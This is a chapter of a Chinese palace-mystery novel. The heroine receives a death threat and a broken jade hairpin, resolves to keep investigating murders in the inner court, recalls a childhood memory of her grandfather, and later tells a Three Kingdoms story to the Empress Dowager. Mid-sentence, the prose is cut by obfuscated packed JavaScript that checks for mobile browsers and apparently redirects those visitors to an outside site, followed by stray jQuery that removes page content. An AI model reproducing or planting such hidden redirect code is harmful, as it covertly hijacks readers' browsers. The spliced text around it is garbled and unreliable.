她急促地喘息着，握紧匕首，警惕地环视四周，确认再无危险后，才弯腰，用匕首尖端小心翼翼地将手串挑起。


    *


    雪盏护着沈怀瑾，几乎是半搀半扶地将她带离了太液湖。


    回撷芳殿的一路上，她眼睛不停地扫来扫去。每个拐角，每棵树，每个假山后头，她都要看一眼。


    右手一直藏在袖子里，握着匕首。直到踏入撷芳殿的大门，反手将门闩落下，她才稍稍松了口气，但脸上凝重的戒备之色却未消散。


    沈怀瑾靠着门板，缓缓滑坐到冰凉的青砖地上，心脏仍在胸腔里疯狂跳动。方才生死一线的恐惧此刻才后知后觉地席卷而来，让她四肢发软。


    她闭上眼，那支射向她的弩箭仿佛还在眼前。


    “小姐，先喝口茶压压惊。”雪盏低声道，扶着她走向内室。


    然而，就在沈怀瑾的目光无意间扫过临窗的梳妆台时，她的脚步猛地顿住。梳妆台上，她平日用的那个紫檀木妆匣，被人移动了位置。


    妆匣之下，压着一张对折的素笺。一股寒意瞬间窜上。她挣脱雪盏的手，快步上前，一把抓起那张纸展开。


    上面只有一行字，笔迹与她收到的那张引她去太液湖的字条一模一样，透着冰冷的威胁：“若想保命，少管闲事。”


    这警告在意料之中。


    但紧接着，她的目光下移，只觉得一颗心直往下坠——在那素笺旁边，赫然躺着她那支昨日还簪在发间的羊脂白玉簪，此刻已齐中断成两截。


    这是在威胁她。下一个断的，就是她的脖子。


    她拿着字条的手控制不住地颤抖起来。


    “小姐……”雪盏也看到了断簪，脸色变得极其难看。


    “雪盏。”怀瑾打断她。


    “在。”


    “你说，我现在不查了，凶手会放过我吗？”


    雪盏愣了一下。她想说“会”，但话到嘴边，说不出来。


    怀瑾转过头，看着她：“不会的，对吧？”


    雪盏咬着唇，点了点头。


    “我已经知道太多了。”怀瑾声音很平静，“我查了王五的案卷，看了尚药局的记录，知道是丽嫔领的冰。现在，我还拿到了凶手掉的东西。”


    她顿了顿：“凶手不会相信我能守口如瓶。他只会觉得，我是个隐患。”


    “所以，”怀瑾看着那张纸条，“我现在有两条路。”


    “一条，听话，不查了。然后等着凶手哪天心血来潮，把我也灭口。”


    “另一条，继续查。查清楚到底是谁害死了三个皇子。查清楚这宫里到底藏着什么。”


    她把纸条放下：“我选后者。退出，就是等死。查下去，至少还有活路。”


    怀瑾看着雪盏：“你怕吗？”


    雪盏摇头：“不怕。奴婢答应了将军，出生入死都要护着小主。”


    她顿了顿：“小主要查，奴婢就陪小主查。大不了一块儿死。”


    怀瑾笑了：“好。那咱们就查到底。把东西拿出来。”


    雪盏立刻从贴身暗袋中取出那串有十二颗深褐色珠子的手串，小心放在桌上。


    怀瑾拿起一颗，凑近了看。珠子不大，黄豆粒那么点儿，每一颗都呈现出不同的纹理和细微的颜色差异。


    表面油光光的，明显戴老了。


    她闻了闻。很浓的药味。不是一种，是好几种混在一块儿的。


    怀瑾皱眉：“这是……药材做的？”


    雪盏点头：“奴婢闻出几样。乌头、附子、麝香。但还有的闻不出来。”


    “雪盏，”怀瑾当机立断，“你找个机会，务必小心，去打探一下宫里，特别是尚药局，看看有没有人见过，或者听说过这样一串由多种药材制成的手串。”


    “是，小姐。”雪盏郑重应下。


    怀瑾拿起手帕，把珠子包好，妥善收起。


    “好了，”她轻声说，像是说给雪盏听，也像是说给自己听，“现在，我们和藏在暗处的人一样，手里都攥着对方的把柄了。只是，他们想捂住，而我们，必须把它揭开。”


    她长吁一口气，靠在床边，目光落在那支断了的羊脂白玉簪上。


    *


    那也是这样一个有些寒意的午后，五岁的她，踮着脚溜进了祖父的书房。祖父不在，她的目光被供桌那尊白玉观音像牢牢吸住了。它通体无瑕，在从窗格透进的微光里，仿佛自身会发光。那是仁宗皇帝御赐给祖父的珍宝，是祖父最为珍视的物件。


    她按捺不住好奇，搬来椅子，小心翼翼地爬上去，只想凑近些，看得更真切。可脚下不稳，一个趔趄，那尊莹白的观音直直坠落，“啪”的一声脆响，在她脚边迸裂成数块不规则的碎片。


    一瞬间，怀瑾吓得连哭都忘了，小脸煞白，只知道呆呆地看着地上的碎玉。


    就在这时，书房门被推开，祖父走了进来。


    老人目光扫过地上的狼藉，又落在吓得浑身发抖的小孙女身上。怀瑾以为会迎来雷霆之怒，眼泪这才后知后觉地涌出来，语无伦次地抽噎：“祖父……我……我不是故意的……”


    可祖父只是沉默地叹了口气，缓缓蹲下身，用那双布满皱纹的手，小心地将大块的碎片一一拾起。他伸手，轻轻摸了摸她的头顶：“瑾儿，没事的。”


    “可是……可是那是仁宗皇帝御赐的……”小怀瑾声音颤抖。


    祖父笑了：“再珍贵的东西，也比不上你。这些碎玉，祖父留着。往后找工匠，看能不能打磨成别的物件。”


    然而，风波并未就此平息。父亲很快闻讯赶来，见到地上残留的玉屑，脸色顿时铁青。“父亲，这观音像……是如何碎的？”


    祖父淡淡道：“不小心碰掉了。”


    父亲沉默了片刻，忽然转头看向躲在门外的她：“瑾儿，进来。”


    怀瑾战战兢兢地走进去。


    父亲看着她，声音严厉：“是不是你打碎的？”


    怀瑾不敢说话，只是低着头。


    父亲怒道：“你真是胆大包天！竟敢擅动御赐之物！你可知这是多大的罪过？！”


    他转向祖父：“父亲，瑾儿必须受罚，否则日后不知要闯出多大的祸！”


    祖父却摆了摆手：“罢了，已经碎了，罚她也无用。”


    父亲急了：“父亲！您这样纵着她，将来……”


    “我说罢了。”祖父声音虽轻，却不容置疑，他上前一步，将怀瑾护在身后，“她还是个孩子，不是故意的。”


    后来，那些碎玉真的被工匠打磨了。有的做成了扳指，有的做成了佩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644636|187123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    饰。而最小的那一块，被做成了一支簪子。


    就是眼前断了的这一支。


    *


    此刻，靠在撷芳殿冰冷的床柱上，怀瑾恍惚地想，当初那个一意孤行、坚信自己能在这深宫里闯出一片天的自己，是不是太过天真了？


    那夜在祖父书房，她跪在老人面前，最终说服了原本已为她铺好另一条退路的祖父。如果当时她不愿入宫，祖父确实有能力、有办法，让她避开这场风暴。


    父亲的警告犹在耳边，她入宫不过三四月光景，竟已真真切切地触摸到了死亡的边缘，若不是雪盏……她不敢再往下想。


    没有人逼她“光耀门楣”，是她自己看不下去家族的颓势，不甘心像其他闺阁女子一样被困在方寸后宅，才无视了所有亲人的劝阻，硬是踏入了这重重深宫。


    如今想来，这难道是一个错误吗？


    不！


    这个念头刚一升起，就被她猛地掐断。


    正是因为她从小便被这样呵护着，此刻，才正是她用自己的力量，去保护沈家的时候！


    木已成舟，开弓没有回头箭。


    既然已踏入这生死漩涡，知道了不该知道的秘密，那么退后一步，未必是海阔天空，更可能是万丈深渊，连同她所要守护的一切，一同坠落。她必须走下去，必须在这吃人的深宫里，闯出一条生路来。


    *


    第二日，慈宁宫内暖意融融，却比往日多了几分欢腾。


    怀瑾正站在殿中，讲到兴头上，可谓是眉飞色舞，手舞足蹈。她比平时更需要这个故事，更需要沉浸在这种热烈的气氛里，好把昨夜那份心惊牢牢压在心底，不露半分痕迹。


    “话说那日，曹操的百万大军杀来，刘备带着百姓逃命，队伍乱成一锅粥！”


    怀瑾的手在空中一挥，“就在这时候，刘备发现——阿斗不见了！糜夫人抱着孩子，在乱军中走散了！”


    芷昭急了：“那怎么办？”


    “这时候，”怀瑾忽然站起来，右手做出握枪的动作，往前一指：“赵子龙来了！他骑着白马，手持长枪，大喊一声：‘主公莫慌！子龙去去就回！''”


    怀瑾兴奋地挥舞着手臂：“他长枪左刺右挑，杀得曹军人仰马翻！”


    太后含笑：“这赵子龙，可真是勇猛！”


    芷昭眼睛亮晶晶的：“那阿斗找到了吗？”


    “找到了！”怀瑾做出小心翼翼护着怀中婴儿的姿态，“赵子龙把阿斗往怀里一藏，再杀出去！”


    “曹军又围上来了，黑压压一片！可赵子龙抱着阿斗，左冲右突！枪尖所指，无人能挡！”怀瑾空手比划着长枪左挑右刺，动作幅度大得差点把旁边高几上的花瓶带倒，吓得侍立一旁的雪盏眼皮直跳。


    太后被她这绘声绘色的讲述逗得前仰后合，指着她对身旁的芷昭笑道：“哎哟，这丫头……这张嘴，真是能把死人说活了！”


    芷昭公主更是笑得直拍手，毫不吝啬地捧场：“沈娘娘讲得太好了！比太傅讲史书有趣一千倍！”


    怀瑾受到鼓舞，更加得意，小尾巴都快翘到天上去了，一拍胸脯：“那当然！我在军中与老兵讲故事的时候，他们都说我学得最像……”


    “陛下——驾到——！”殿外传来了内监拖长了调子的通传声。